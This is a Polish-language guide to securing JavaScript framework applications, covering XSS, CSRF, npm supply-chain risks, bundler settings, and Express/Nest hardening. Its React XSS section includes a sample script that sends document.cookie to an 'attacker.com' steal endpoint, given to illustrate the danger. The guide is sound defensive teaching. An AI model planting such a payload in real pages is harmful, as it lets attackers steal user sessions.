Bezpieczeństwo w świecie frameworków JS: konfiguracje, biblioteki ochronne i dobre praktyki DevSecOps

Dlaczego aplikacje oparte na frameworkach JS są trudne do zabezpieczenia

Specyfika nowoczesnych aplikacji front‑end: SPA, SSR, BFF i mikroserwisy

Nowoczesne aplikacje JavaScript rzadko są „prostym front‑endem”. Dominują architektury SPA (Single Page Application), SSR (Server Side Rendering), BFF (Backend for Frontend) czy mikroserwisy, w których logika jest rozsmarowana między przeglądarką, API i usługami pomocniczymi. React, Angular, Vue, Next, Nuxt czy Nest nie działają w próżni – są częścią rozbudowanego ekosystemu.

W SPA większość logiki interfejsu i część logiki biznesowej trafia do przeglądarki. A to oznacza, że wszystko, co trafi do front‑endu, jest jawne dla potencjalnego atakującego: kod, requesty, odpowiedzi z API, tokeny, konfiguracja. Osoba atakująca nie musi „łamać” zabezpieczeń, żeby zobaczyć, jak aplikacja działa – wystarczy DevTools w przeglądarce.

SSR (np. Next, Nuxt) dodaje kolejny wymiar: część kodu działa po stronie serwera, część po stronie przeglądarki. Źle obsłużone przekazywanie danych między tymi światami (np. serializacja danych do HTML, hydration) może prowadzić do subtelnych wektorów XSS lub ujawnienia danych. Z kolei BFF i mikroserwisy wprowadzają wiele punktów styku: osobne API dla front‑endu, odrębne serwisy autoryzacyjne, serwisy mediów. Każdy z nich wymaga spójnych polityk bezpieczeństwa.

Najczęstsze wektory ataku w ekosystemie JavaScript

Środowisko JavaScript ma swoje „klasyki”, które regularnie pojawiają się w raportach bezpieczeństwa:

• XSS (Cross‑Site Scripting) – wstrzyknięcie złośliwego skryptu przez dane wejściowe, parametry URL, odpowiedzi z API, a nawet logi. SPA są bardzo podatne, gdy używa się dynamicznego HTML (np. dangerouslySetInnerHTML, v-html).
• CSRF (Cross‑Site Request Forgery) – wymuszenie działania po stronie użytkownika (np. zmiana hasła, wykonanie przelewu) poprzez wykorzystanie jego uwierzytelnionej sesji. Dotyczy głównie autoryzacji opartej na cookies, ale błędnie skonfigurowane CORS i tokeny też potrafią otworzyć furtkę.
• Ataki na tokeny (JWT, access tokeny, refresh tokeny) – kradzież z localStorage, sessionStorage, cookies, logów czy pamięci przeglądarki; użycie zbyt długiego TTL; brak rotacji tokenów.
• Supply chain attacks – ataki na łańcuch dostaw: zainfekowane paczki npm, typosquatting nazw pakietów, złośliwe postinstall scripts, przejęte konta maintainerów.
• RCE w buildach i CI/CD – wykonanie dowolnego kodu przez podatne pluginy Webpacka, skrypty w package.json, błędną konfigurację runnerów CI.

Do tego dochodzą problemy takie jak brak walidacji danych w API, niewłaściwe zarządzanie uprawnieniami (IDOR – brak kontroli dostępu do danych innych użytkowników) czy ujawnianie wrażliwych informacji w stack trace’ach i logach.

Mit: „To tylko front‑end, więc jest bezpieczniej”

Popularny mit w zespołach: „My robimy tylko front‑end, backend jest gdzie indziej, więc nie ma o co się martwić”. Rzeczywistość jest dokładnie odwrotna. Silny front‑end w SPA/SSR jest idealnym celem:

• Przeglądarka użytkownika staje się „maszyną wykonawczą” nie tylko dla legalnego kodu, ale też dla wstrzykniętych skryptów.
• Front‑end ma często bezpośredni dostęp do tokenów, danych użytkownika, a nawet wewnętrznych endpointów (gdy CORS jest źle ustawiony).
• Atak XSS w aplikacji front‑end umożliwia przejęcie całej sesji użytkownika i wykonywanie akcji w jego imieniu.

Mit kontra rzeczywistość: framework nie jest zaporą sieciową. React, Angular czy Vue utrudniają niektóre klasy błędów (np. basic XSS przez interpolację), ale nie zabezpieczają aplikacji przed nieostrożnymi decyzjami w kodzie, złym zarządzaniem tokenami, błędną konfiguracją nagłówków czy CORS.

Granica odpowiedzialności: framework, serwer, zespół

Sprawne podejście do bezpieczeństwa wymaga jasnego podziału odpowiedzialności:

• Framework front‑end (React, Angular, Vue) – zapewnia domyślną sanitację niektórych treści, bezpieczny rendering komponentów, API do interakcji z DOM. Nie decyduje o tym, jakie dane pobierasz, jak zarządzasz sesją i jak wygląda model autoryzacji.
• Framework SSR / back‑end (Next, Nuxt, Nest, Express, Fastify) – odpowiada za routing, logikę serwerową, dostęp do danych, nagłówki HTTP, CORS, CSP, serwowanie assets, integrację z systemami zewnętrznymi.
• Zespół / organizacja – definiuje polityki bezpieczeństwa, wdraża DevSecOps, wybiera biblioteki i strategie uwierzytelnienia, ustala standardy kodowania i review, reaguje na incydenty, aktualizuje stack.

Bezpieczeństwo frameworków JavaScript nie polega na „wybraniu najbezpieczniejszego frameworka”, ale na świadomym używaniu narzędzi, które każdy z nich oferuje, oraz na rozsądnej konfiguracji serwera, CI/CD i bibliotek pomocniczych.

Mapa ekosystemu: gdzie typowo czyhają dziury

Przeglądając popularne narzędzia JS, łatwo zauważyć powtarzające się wzorce:

• React – ryzyka związane z dangerouslySetInnerHTML, zewnętrznymi bibliotekami do manipulacji DOM, błędnym użyciem refów i eventów.
• Angular – obniżenie poziomu bezpieczeństwa poprzez nadużywanie funkcji bypassSecurityTrust*, źle napisane customowe pipe’y, brak separacji modułów.
• Vue – wstrzykiwanie HTML przez v-html, dynamiczne komponenty bez kontroli, globalne mixiny i pluginy ingerujące w bezpieczeństwo.
• Next/Nuxt – błędne wstrzykiwanie danych do _document/_app, niewłaściwe serwowanie statycznych assets, brak nagłówków bezpieczeństwa w middleware.
• Nest/Express – brak helmet, brak walidacji wejścia na poziomie route’ów, zbyt rozluźnione CORS, niewyłączone endpointy debugowe.

Wszystkie te technologie są produkcyjnie używane w wrażliwych systemach, ale stają się dziurawe, gdy zespół traktuje bezpieczeństwo jako „dodatek” i zdaje się w pełni na „magiczne” możliwości frameworka.

Fundamenty bezpieczeństwa w świecie JS: model zagrożeń i typowe podatności

Model zagrożeń dla typowej aplikacji opartej na JavaScript

Skuteczna ochrona zaczyna się od prostego modelu zagrożeń. Typowa aplikacja oparta na frameworkach JS ma kilka kluczowych elementów:

• Użytkownik – korzysta z przeglądarki, ma swoje cookies, tokeny, pamięć podręczną, rozszerzenia.
• Przeglądarka – wykonuje kod JS, przechowuje dane (localStorage, sessionStorage, IndexedDB), egzekwuje politykę CORS i CSP, renderuje HTML.
• Serwer API / BFF – wystawia endpointy do logowania, operacji biznesowych, zarządzania danymi; często jest to Nest, Express lub inne frameworki Node.js.
• Serwery pomocnicze – usługi plików (S3, CDN), serwisy autoryzacyjne (Auth0, Keycloak), systemy płatności, systemy notyfikacji.
• CI/CD i narzędzia buildowe – pipeline’y (GitHub Actions, GitLab CI, Jenkins), bundlery (Webpack, Vite, esbuild), npm/yarn/pnpm.
• Rejestry i źródła paczek – publiczne npm, prywatne rejestry, wewnętrzne mirror’y.

Każdy z tych elementów może zostać zaatakowany osobno lub w kombinacji. Przykładowo: XSS w przeglądarce może posłużyć do kradzieży tokenu JWT, którym następnie atakujący skorzysta z API. Błędna konfiguracja CORS pozwoli obcej domenie korzystać z API z wykorzystaniem sesji użytkownika. Z kolei podatna paczka npm może otworzyć drzwi do RCE w CI/CD, co prowadzi do modyfikacji kodu przed wdrożeniem.

Jak klasyczne podatności manifestują się w aplikacjach JS

Znane z OWASP Top 10 kategorie świetnie pasują do świata frameworków JS, ale mają specyficzne przejawy:

• XSS – zamiast „gołego” HTML mamy komponenty, ale źródłem problemu nadal są nieufne dane mieszane z DOM. Przykład: Reactowy komponent, który renderuje HTML przyniesiony z CMS bez sanitacji i używa dangerouslySetInnerHTML.
• CSRF – gdy API akceptuje ciasteczka z innych originów bez prawidłowego ustawienia SameSite, i gdy nie stosuje się tokenów CSRF lub alternatywnego, odpornego modelu auth (np. short‑lived access tokens + refresh tokeny z poprawnym CORS).
• IDOR (Insecure Direct Object Reference) – przekazywanie identyfikatorów zasobów z front‑endu bez weryfikacji uprawnień po stronie API. Typowy błąd: w panelu użytkownika można podmienić ID w URL i podejrzeć dane innej osoby.
• SSRF (Server Side Request Forgery) – zwykle kojarzone z backendem, ale w aplikacjach JS często występują w funkcjach uploadu obrazów, gdzie backend pobiera obraz z URL podanego z front‑endu (np. generowanie miniatur). Brak walidacji URL otwiera drogę do ataków na wewnętrzne usługi.
• Misconfig (błędna konfiguracja) – debugowy stack trace w produkcji, otwarte endpointy debugowe (np. /graphql-playground, /swagger bez auth), brak secure headers, zbyt szerokie CORS.
• Brak autoryzacji / słaba autoryzacja – front‑end pokazuje/ukrywa elementy na podstawie ról, ale backend nie weryfikuje ról przy dostępie do endpointów. Atakujący pomija interfejs i wywołuje API bezpośrednio.

Runtime vs buildtime: dwa światy podatności

W aplikacjach JS istnieje czytelne rozróżnienie na podatności:

• Runtime – ujawniające się kiedy aplikacja działa: XSS, CSRF, IDOR, błędy autoryzacji, wycieki tokenów, brak rate limiting, podatne endpointy.
• Buildtime – dotyczące etapu budowania i wdrażania: złośliwe skrypty npm, podatne pluginy Webpacka, błędy konfiguracji CI/CD (np. zbyt szerokie uprawnienia runnera, brak izolacji jobów), niedziałająca minifikacja lub tree‑shaking ujawniające niepotrzebny kod.

Typowy błąd zespołów front‑end: skupienie się tylko na runtime, czyli „czy działa i czy nie ma XSS”. Rzeczywistość jest taka, że przejęcie pipeline’u (buildtime) pozwala wstrzyknąć złośliwy kod do każdej sesji użytkownika, a team może tego długo nie zauważyć. Z tego powodu bezpieczeństwo CI/CD dla JS jest tak samo ważne jak czysty kod komponentów.

Przykład XSS w komponencie React z nieprzefiltrowanymi danymi z API

Przykład minimalistyczny, ale bardzo realistyczny. Blog napisany w React, który pobiera treść postu z API i renderuje HTML:

function Post({ contentHtml }) {
  return <div dangerouslySetInnerHTML={{ __html: contentHtml }} />;
}

Treść contentHtml pochodzi z headless CMS, do którego ma dostęp zespół redakcyjny. Jedna skompromitowana sesja redaktora lub XSS w samym CMS‑ie wystarczy, żeby wstrzyknąć złośliwy skrypt do pola treści:

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

Mit: „React automatycznie chroni przed XSS”. Rzeczywistość: React chroni przy standardowym użyciu JSX (<div>{contentHtml}</div>), ale każde obejście mechanizmu (dangerouslySetInnerHTML) przerzuca odpowiedzialność na dewelopera. Bez sanitacji po stronie servera lub zaufanego serwisu (np. DOMPurify na backendzie) pojawia się pełnoprawne XSS.

Framework nie załatwia wszystkiego: mit „wbudowanej ochrony przed XSS”

Angular ma sanitację wbudowaną w bindingi, Vue i React domyślnie escapuja dane tekstowe, a mimo to XSS są regularnie znajdowane w realnych aplikacjach. Skąd ten rozdźwięk?

• Deweloperzy korzystają z „escape hatches” – dangerouslySetInnerHTML w React, v-html w Vue, bypassSecurityTrustHtml w Angular.
• Kod ściąga i wyświetla dane z dwóch lub trzech różnych źródeł (CMS, API, integracje zewnętrzne), a sanitacja jest niespójna lub jej brak.
• Biblioteki third‑party (np. do markdown, rich text) same wstrzykują HTML do DOM bez poprawnego oczyszczenia.

Bezpieczeństwo frameworków JavaScript jest silne tylko tak długo, jak długo trzymasz się ich bezpiecznych ścieżek. Każde obejście mechanizmu musi być poparte świadomą, testowalną strategią sanitacji i kontrolą danych wejściowych.

Najczęściej problem pojawia się wtedy, gdy zespół ufa samym deklaracjom marketingowym: „framework X ma wbudowaną ochronę przed XSS, więc jesteśmy bezpieczni”. Rzeczywistość jest nudniejsza – framework zabezpiecza tylko część ścieżek, i to pod konkretnymi warunkami. Jeden import niezweryfikowanej biblioteki WYSIWYG, jedno nieprzemyślane użycie surowego HTML w komponencie lub pochopne oznaczenie danych jako „safe” wystarczy, by otworzyć okno dla atakującego.

Bezpieczne podejście wygląda inaczej. Dane traktujesz jako nieufne od momentu wejścia do systemu aż do chwili, gdy trafiają do DOM. Sanitacja jest zdefiniowana jako wspólny komponent lub middleware (np. warstwa po stronie API), a nie ad‑hoc if‑y rozsiane po kodzie. Każde miejsce, w którym świadomie wyłączasz domyślne mechanizmy ochronne frameworka, jest opisane w kodzie (komentarz, nazwa funkcji), pokryte testem i przechodzi code review z udziałem osoby ogarniającej bezpieczeństwo. To prostsze niż gaszenie pożaru po wykryciu XSS na produkcji.

Dobrym papierkiem lakmusowym jest odpowiedź na pytanie: „czy potrafimy wskazać wszystkie miejsca, w których wyłączyliśmy mechanizmy bezpieczeństwa frameworka lub przetwarzamy surowy HTML/JS?”. Jeśli nikt nie jest w stanie ich wymienić z głowy ani wyszukać w repo w rozsądny sposób, to w praktyce nie panujecie nad powierzchnią ataku. Mechaniczne powtarzanie „React/Angular/Vue są bezpieczne z natury” w takiej sytuacji niewiele znaczy – to raczej mit uspokajający sumienie niż realna kontrola ryzyka.

Silne frameworki JS, świadome korzystanie z ich mechanizmów ochronnych, twardo skonfigurowane API i pipeline’y CI/CD oraz kilka prostych nawyków DevSecOps potrafią zbudować solidną barierę nawet w bardzo złożonych systemach. Klucz leży nie w szukaniu „magicznej” biblioteki, lecz w sumie wielu przyziemnych decyzji: jak przechowujesz tokeny, jak ustawiasz CORS i nagłówki, jak zarządzasz zależnościami, co trafia do DOM i kto kontroluje konfigurację produkcji.

Konfiguracja środowiska JS: od npm do bundlera z perspektywy bezpieczeństwa

Środowisko JS to dziś miks menedżera paczek, bundlera, transpilera, testów i automatyzacji. Każdy z tych elementów ma własne wektory ataku. Z perspektywy DevSecOps konfiguracja nie polega na „uruchomieniu buildu”, ale na takim zapięciu całego łańcucha, żeby zminimalizować niespodzianki przy aktualizacjach, instalacjach i wdrożeniach.

Bezpieczne korzystanie z npm/yarn/pnpm

Menedżer paczek to brama do kodu obcych ludzi, który ląduje u ciebie na produkcji. Nie da się zbudować nowoczesnej aplikacji JS bez zależności, ale da się ograniczyć ryzyko.

• Lockfile jako element bezpieczeństwa – package-lock.json, yarn.lock lub pnpm-lock.yaml powinien być commitowany i traktowany jak część konfiguracji bezpieczeństwa. Brak lockfile oznacza, że przy każdym npm install możesz dostać inną, potencjalnie podatną wersję transitive dependency.
• Blokada automatycznych instalacji skryptów – skrypty preinstall, postinstall i podobne to ulubione miejsce atakujących. W CI zbuduj aplikację z flagami pokroju npm ci --ignore-scripts lub analogicznymi w innych menedżerach, a skrypty instalacyjne uruchamiaj tylko tam, gdzie naprawdę są potrzebne (np. w obrazie deweloperskim).
• Whitelisting rejestrów – w .npmrc skonfiguruj zaufane źródła: prywatny registry / proxy (np. Verdaccio, Artifactory) zamiast bezpośredniego uderzania w publiczny npm z produkcyjnych pipeline’ów. To zmniejsza ryzyko ataków łańcucha dostaw (supply chain).
• Audit jako część CI – npm audit, yarn audit, Snyk czy GitHub Dependabot powinny działać w pipeline, nie tylko lokalnie. Dobrą praktyką jest ustawienie progu blokującego deploy (np. severity ≥ high) oraz proces „exceptionów” z uzasadnieniem i datą przeglądu.
• Ogranicz uprawnienia tokenów npm – tokeny do prywatnych rejestrów używane w CI powinny mieć minimalny zakres (tylko read) i być przypisane do konkretnego projektu lub space’a, a nie do konta dewelopera.

Mit: „jeśli korzystamy tylko z popularnych paczek, to jest bezpiecznie”. Rzeczywistość: wiele ataków polega na przejęciu popularnej paczki lub dołożeniu złośliwego sub-dependency, którego nikt wprost nie używa.

Kontrola skryptów npm i narzędzi deweloperskich

Skrypty z package.json często eskalują uprawnienia: odpalają lintery, bundlery, testy E2E, czasem nawet migrują bazę danych. Jeśli atakujący zmodyfikuje taki skrypt, uruchomi się on na maszynach wszystkich programistów lub w CI.

• Minimalistyczne skrypty – unikaj monstrualnych poleceń, które robią wszystko naraz. Klarowne, jednozadaniowe skrypty są łatwiejsze do audytu i review.
• Bezpośrednie wywołania lokalnych binarek – preferuj npm run lint (korzystający z lokalnie zainstalowanego ESLinta) zamiast globalnych binarek na maszynach deweloperów. Globalne zależności trudniej kontrolować i aktualizować centralnie.
• Review zmian w package.json i lockfile – wprowadz zasadę, że zmiany w zależnościach i skryptach przechodzą osobne, uważniejsze review. Nawet szybkie pytanie „po co ta nowa paczka?” wyłapuje sporo bzdur.
• Ostrożnie z „dev-only” zależnościami – devDependency z kodem uruchamianym w CI (np. test runner, bundler) jest tak samo krytyczna jak dependency w produkcji, bo przejęcie CI pozwala wstrzyknąć payload do bundla.

Bundlery i transpilery: Webpack, Vite, esbuild, Babel

Bundler i transpiler decydują, jaki kod realnie trafi do przeglądarki. To miejsce, gdzie konfiguracja z pozoru „tylko wydajnościowa” ma bezpośredni wpływ na bezpieczeństwo.

• Oddzielne konfiguracje dla dev i prod – development z HMR, source mapami full i detalicznymi komunikatami błędów nie może lądować na produkcji. Przy Webpacku czy Vite trzymaj osobne pliki konfiguracyjne albo przynajmniej twarde warunki po NODE_ENV.
• Bezpieczne source mapy – generuj szczegółowe mapy źródeł tylko do użytku wewnętrznego (np. wysyłane do Sentry lub trzymane w prywatnym storage), a nie jako publicznie dostępne *.map przy assetsach. Publiczne mapy ułatwiają analizę logiki, identyfikację sekretów pozostawionych w kodzie oraz enumerację endpointów.
• Minifikacja i tree-shaking – z punktu widzenia bezpieczeństwa nie chodzi o „zaciemnianie” kodu, lecz o ograniczenie powierzchni ataku. Mniej nieużywanych funkcji w bundlu to mniej okazji na niespodzianki. Sprawdzaj ostrzeżenia bundlera o „unused exports”, bo często wskazują one na niepotrzebne, stare biblioteki.
• Pluginy z głową – plugin do Webpacka czy Vite to zazwyczaj kod wykonywany podczas builda z pełnym dostępem do systemu plików. Nie instaluj pluginów z przypadkowych repo tylko dlatego, że rozwiązują drobną niedogodność. Rozsądne minimum: liczba gwiazdek, aktywność maintainerów i brak oczywistych antywzorców w kodzie.
• Babel i polyfille – profile @babel/preset-env i konfiguracja polyfilli decydują, jakie funkcje JS będą dostępne w przeglądarce. Zbyt szerokie polyfille (np. globalne nadpisywanie obiektów) potrafią wchodzić w kolizję z narzędziami bezpieczeństwa (np. monitorowaniem użycia eval).

Integrity, SRI i kontrola zasobów statycznych

W projektach z CDN lub serwowaniem statycznych skryptów warto dołożyć warstwę weryfikacji integralności.

• Subresource Integrity (SRI) – przy ładowaniu bibliotek z CDN ustawiaj atrybuty integrity i crossorigin na znane hashe. Bez tego, jeśli CDN zostanie skompromitowany, przeglądarka bez mrugnięcia wczyta zmodyfikowaną bibliotekę.
• Własny hosting krytycznych skryptów – kluczowe biblioteki (np. framework front-end, krytyczne widgety auth) lepiej hostować samodzielnie, z procesem budowania i wersjonowania, niż zależeć od „żyjącego własnym życiem” skryptu z zewnętrznej domeny.
• Hashowanie nazw plików (content hashing) – oprócz cache’owania wprowadza też prostą kontrolę integralności: zmiana zawartości = zmiana nazwy. Ułatwia to identyfikację nieautoryzowanych modyfikacji assetsów.

Bezpieczna konfiguracja frameworków front‑end

Mechanizmy ochronne Reacta, Angulara, Vue czy Next/Nuxt są skuteczne tylko wtedy, gdy konfiguracja środowiska je wspiera, a deweloperzy nie obchodzą ich na każdym kroku.

React: praktyczne zasady bezpieczeństwa komponentów

React sam w sobie jest raczej „gołą biblioteką widoków”, więc większość polityk bezpieczeństwa implementuje się w otaczającej infrastrukturze. Kilka punktów spina ten ekosystem.

• Unikanie niebezpiecznych API – dangerouslySetInnerHTML powinno być opatrzone lokalną polityką: np. osobny wrapper <SafeHtml>, który zawsze sanitizuje dane (np. DOMPurify) i loguje użycie. Surowe wywołanie tego API niech będzie zabronione w ESLincie.
• ESLint + security pluginy – do standardowego zestawu dodaj reguły typu eslint-plugin-security, eslint-plugin-react z włączonymi ostrzeżeniami dla niebezpiecznych wzorców (np. zdarzenia po stronie klienta wołające eval, manipulowanie DOM poza Reactem).
• Bezpieczne zarządzanie stanem auth – tokeny dostępowe raczej w pamięci (in-memory storage) lub httpOnly cookies niż w localStorage. Jeśli używasz localStorage, miej świadomość, że XSS = pełna kradzież sesji. Dobrym kompromisem są krótkotrwałe access tokeny w pamięci + refresh token w httpOnly, secure cookie.
• Error Boundaries i logowanie – oprócz poprawiania UX, prawidłowe obsłużenie błędów na froncie zmniejsza szanse na ujawnienie wewnętrznych informacji. Zamiast wyświetlać err.stack, wysyłaj je do wewnętrznego systemu observability.

Next.js: SSR, edge i API routes

Next.js miesza świat front-endu z backendem, więc drobna pomyłka w konfiguracji potrafi otworzyć całkiem szerokie drzwi.

• Oddzielenie kodu serwerowego i klienckiego – w nowszych wersjach Nexta stosuj dyrektywy "use client" / "use server" świadomie i pilnuj, żeby dane wrażliwe nigdy nie trafiały do komponentów klienckich. Jeśli coś musi zostać po stronie serwera, nie exportuj tego z plików współdzielonych.
• API Routes z twardą autoryzacją – endpointy w /pages/api lub app/api to pełnoprawne API. Autoryzacja nie może opierać się na tym, czy dany formularz jest „gdzieś w UI”. Spójny middleware auth (np. middleware.ts na poziomie route’ów) zmniejsza liczbę miejsc, w których łatwo o błąd.
• Konfiguracja nagłówków w next.config.js – Next pozwala definiować własne nagłówki (w tym CSP, HSTS, X-Frame-Options) na poziomie konfiguracji. To lepsze miejsce niż ad-hoc middleware w pojedynczym route’cie.
• Static Export i dane w buildzie – generując statyczne strony (getStaticProps), unikaj wstrzykiwania do HTML czegokolwiek, co ma charakter sekretu lub wewnętrznego identyfikatora. Pamiętaj, że cały JSON przekazywany do pageProps jest widoczny w źródle.

Częsty mit: „Next jest secure by default”. W rzeczywistości domyślna konfiguracja jest przyzwoita, ale nie rozwiązuje np. polityki cookie, CORS ani szczegółowego CSP – to nadal trzeba dopracować ręcznie.

Angular: template’y, DI i domyślna sanitacja

Angular ma jedne z najsilniejszych mechanizmów ochrony przed XSS z pudełka, ale dostęp do DomSanitizer i rozbudowany system DI łatwo wykorzystać w złą stronę.

• Unikanie bypassSecurityTrust… – każde użycie bypassSecurityTrustHtml, bypassSecurityTrustResourceUrl czy bypassSecurityTrustStyle jest długiem bezpieczeństwa. Owiń te wywołania w dobrze nazwane serwisy (np. SafeHtmlService) i wymagaj dodatkowego review przy każdej zmianie.
• Szablony zamiast ręcznego DOM – manipulacja DOM przez ElementRef.nativeElement lub document powinna być ekstremalnym wyjątkiem. W większości przypadków można użyć bindingów i dyrektyw strukturalnych.
• Konfiguracja Content Security Policy – Angular często generuje runtime’owe skrypty, więc przy twardym CSP pojawia się pokusa dodania 'unsafe-inline'. Lepszym kierunkiem jest użycie nonces lub hashy dla doklejanych skryptów i stylów, a nie globalne otwieranie polityki.
• HttpClient i interceptory – autoryzację tokenową obsługuj interceptorami, ale bez logiki „wykrywania” ról po stronie frontu. Angularowy guard może służyć UX-owi (np. pokazywanie 403), natomiast twarde zasady muszą żyć w backendzie.

Vue/Nuxt: reactivity, v-html i SSR

Vue i Nuxt wprowadzają własny model reaktywny oraz warstwę SSR, które dają dużą swobodę – ale też dodatkowe miejsca na błędy.

• Ostrożnie z v-html – to dokładny odpowiednik dangerouslySetInnerHTML. Dane renderowane przez v-html powinny przejść sanitację po stronie backendu lub dedykowanego serwisu. Przypadkowe użycie v-html do wyświetlania treści z CMS jest jedną z najczęstszych przyczyn XSS w aplikacjach Vue.
• Komponenty globalne i pluginy – rejestrowanie globalnych komponentów / pluginów zewnętrznych bibliotek w Nuxt sprawia, że ich kod wstrzykuje się do całej aplikacji. Przed dodaniem nowego pluginu przejrzyj, czy nie grzebie on bezpośrednio w window, document albo nie używa eval.
• SSR a wycieki danych – przy SSR w Nuxt łatwo przypadkiem zwrócić do klienta więcej danych niż trzeba (np. całe obiekty użytkownika zamiast przefiltrowanych pól). Funkcje asyncData i serverPrefetch traktuj jako część API – wszystko co tam zwrócisz, jest potencjalnie widoczne w HTML/JS.
• Izolacja stanu między żądaniami – w trybie SSR każdy request powinien dostawać świeży „store” / stan aplikacji. Dzielenie jednego, globalnego obiektu reaktywnego między użytkowników kończy się wyciekami danych lub „przeskakiwaniem” stanu. Mit, że „SSR w Nuxt robi się samo i na pewno jest izolowane” bywa kosztowny – konfiguracja fabryki store’a i dokładne sprawdzenie pluginów pod kątem użycia zmiennych globalnych to obowiązek, nie opcja.
• Nuxt middlewares i autoryzacja – middleware routingu w Nuxt świetnie nadaje się do wstępnej walidacji sesji i przekierowań, ale nie może zastępować kontroli uprawnień w API. Jeśli komponent sprawdza role użytkownika jedynie w middleware/auth.ts, a backend przyjmuje każde żądanie z poprawnym tokenem, to droga do eskalacji uprawnień jest bardzo krótka.

Dobrą praktyką przy większych projektach Vue/Nuxt jest wprowadzenie prostych standardów „dozwolone / zabronione”: np. v-html tylko w wybranych komponentach, które z urzędu sanitizują wejście; bezpośredni dostęp do window i document tylko w pluginach oznaczonych jako „client-only”; globalne mixiny i pluginy przechodzą osobny przegląd bezpieczeństwa. Tego typu umowy zespołowe ograniczają liczbę miejsc, w których pojedynczy błąd może otworzyć całą aplikację.

Często powtarza się, że „CSP i backend ogarną wszystko, Vue to tylko warstwa widoku”. Rzeczywistość jest mniej wygodna: błędnie użyte v-html, niewłaściwa serializacja danych SSR czy plugin pisany „na skróty” potrafią unieważnić nawet bardzo solidną konfigurację serwera. Front-endowe frameworki nie są z natury ani bezpieczne, ani niebezpieczne – to sposób korzystania z ich możliwości decyduje, czy stają się barierą, czy wektorem ataku.

Cały ekosystem frameworków JS składa się z wielu cienkich warstw: konfiguracji narzędzi, bezpieczeństwa runtime’u Node.js, zasad w kodzie frontu, polityki nagłówków HTTP i CSP, a na to wszystko nakłada się kultura DevSecOps w zespole. Projekty, które traktują te elementy jako spójny system, a nie zbiór „checkboxów do odhaczenia”, zdecydowanie rzadziej trafiają na nagłe, krytyczne incydenty – ataki oczywiście się zdarzają, ale są szybciej wykrywane, skutki są mniejsze, a droga do naprawy jest wydeptana już na etapie projektowania.

Zabezpieczenie backendu i API w ekosystemie JS: Express, Nest i reszta świata Node.js

Express: od „hello world” do produkcyjnego API

Express sam w sobie jest bardzo cienką warstwą – całe bezpieczeństwo zależy od tego, jakie middleware’y i wzorce architektoniczne zostaną dołożone.

• Centralne middleware bezpieczeństwa – na samym początku łańcucha dodaj helmet, ograniczenia rozmiaru body (express.json({ limit: '100kb' })), a także włączenie trust proxy tylko wtedy, gdy faktycznie stoi przed aplikacją reverse proxy. Brak limitów rozmiaru body często kończy się banalnym DoS-em przez oversize JSON.
• Walidacja wejścia blisko krawędzi – każde req.body, req.query i req.params waliduj biblioteką typu zod, Joi lub class-validator. Walidacja w warstwie „services” jest lepsza niż nic, ale najtańsze są odrzuty na samym wejściu requestu.
• Unikanie „magicznych” middleware’ów – uniwersalne middleware, które automatycznie „doklejają” użytkownika na podstawie nagłówka, potrafią wywołać efekt domina. Uwierzytelnienie i autoryzacja powinny być jawnie widoczne przy konfiguracji routerów, a nie ukryte w jednym pliku w app.use.
• Obsługa błędów bez wycieku szczegółów – centralny error handler zwraca użytkownikowi tylko kod błędu i komunikat przyjazny dla klienta API, natomiast stack trace i szczegóły logowane są po stronie serwera (z korelacją requestId). Brak globalnego handlera = losowe 500 z pełnym stackiem w odpowiedzi.
• Bezpieczne mechanizmy sesji – przy sesjach opartych o cookie używaj express-session z magazynem innym niż domyślny (MemoryStore nie jest na produkcję). Cookie oznacz jako httpOnly, secure, sameSite (zależnie od scenariusza SSO).

Popularne przekonanie: „Express jest zbyt prosty na poważne projekty, więc z definicji jest mniej bezpieczny niż cięższe frameworki”. W praktyce prostota ułatwia audyt – widać dokładnie, co się dzieje w łańcuchu middleware. Brak automatyki to wada tylko wtedy, gdy zespół nie ma spójnych standardów.

NestJS: dekoratory, metadane i modularność

NestJS dodaje sporo magii: dekoratory, DI, metadata refleksyjną. Błędna konfiguracja tych warstw potrafi unieważnić nawet dobre praktyki Node.js.

• Globalne guardy i interceptory – zamiast ręcznie sprawdzać token w każdym kontrolerze, skonfiguruj globalny AuthGuard i ewentualnie per‑route’owe wyjątki. To zmniejsza liczbę ścieżek, w których można „zapomnieć” o autoryzacji.
• Moduły graniczne dla domen – dziel aplikację na moduły domenowe (np. UserModule, BillingModule) i eksponuj tylko potrzebne serwisy. Dostęp na skróty przez import wszystkiego w AppModule sprzyja omijaniu warstw autoryzacji.
• Walidacja DTO + transformacja – pipe ValidationPipe z opcjami whitelist: true i forbidNonWhitelisted: true usuwa nieznane pola oraz rzuca błąd przy nadmiarowych danych. To prosty sposób na obronę przed masowym przypisaniem (mass assignment).
• Konfiguracja CORS i security – zamiast wywoływać app.enableCors() „na pałę”, użyj precyzyjnej konfiguracji domain/port, dozwolonych nagłówków i metod. Nest nie „magicznie” zgaduje, jakie originy są bezpieczne.
• GraphQL i introspekcja – przy Nest + GraphQL ogranicz introspekcję na produkcji (chyba że potrzebujesz narzędzi developerskich). Schemat GraphQL jest mapą całej domeny – zbyt szczodra introspekcja ułatwia planowanie ataków.

Częsty mit: „Nest jest secure by default, bo przypomina frameworki z innych języków”. Domyślna konfiguracja jest sensowna, ale i tak musisz zatroszczyć się o CORS, nagłówki bezpieczeństwa, rate limiting i właściwe „sklejanie” modułów.

Ochrona przed atakami na warstwę transportową i brute-force

Nawet perfekcyjnie napisane kontrolery tracą sens, jeśli API daje się łatwo dusić lub masowo zgadywać poświadczenia.

• Rate limiting – miej na poziomie reverse proxy (nginx, cloud load balancer) oraz aplikacji (np. express-rate-limit), szczególnie na endpointach logowania, rejestracji, resetu hasła i generowania tokenów.
• Blokady adaptacyjne – po kilku nieudanych próbach logowania z tego samego IP / konta wprowadź opóźnienie odpowiedzi lub tymczasową blokadę. Zbyt agresywna blokada bez mechanizmów odblokowania bywa jednak wygodnym wektorem DoS na konkretnego użytkownika.
• Wymuszony TLS – aplikacja Node.js nie powinna być dostępna „gołym” HTTP z internetu. Wymuś redirect do HTTPS już na warstwie reverse proxy, a w samej aplikacji ustaw nagłówki HSTS (np. przez helmet.hsts()).

Bezpieczne przechowywanie sekretów i konfiguracji

Frameworki JS chętnie ładują konfigurację z .env, ale to dopiero początek. Problem pojawia się przy wielu środowiskach, kontenerach i złożonych pipeline’ach CI/CD.

• Brak sekretów w repozytorium – klucze JWT, hasła do baz, dane dostępowe do zewnętrznych API trzymaj w dedykowanych systemach (Vault, Secrets Manager w chmurze, sealed secrets w K8s). Pliki .env chronione wyłącznie .gitignore prędzej czy później wypłyną.
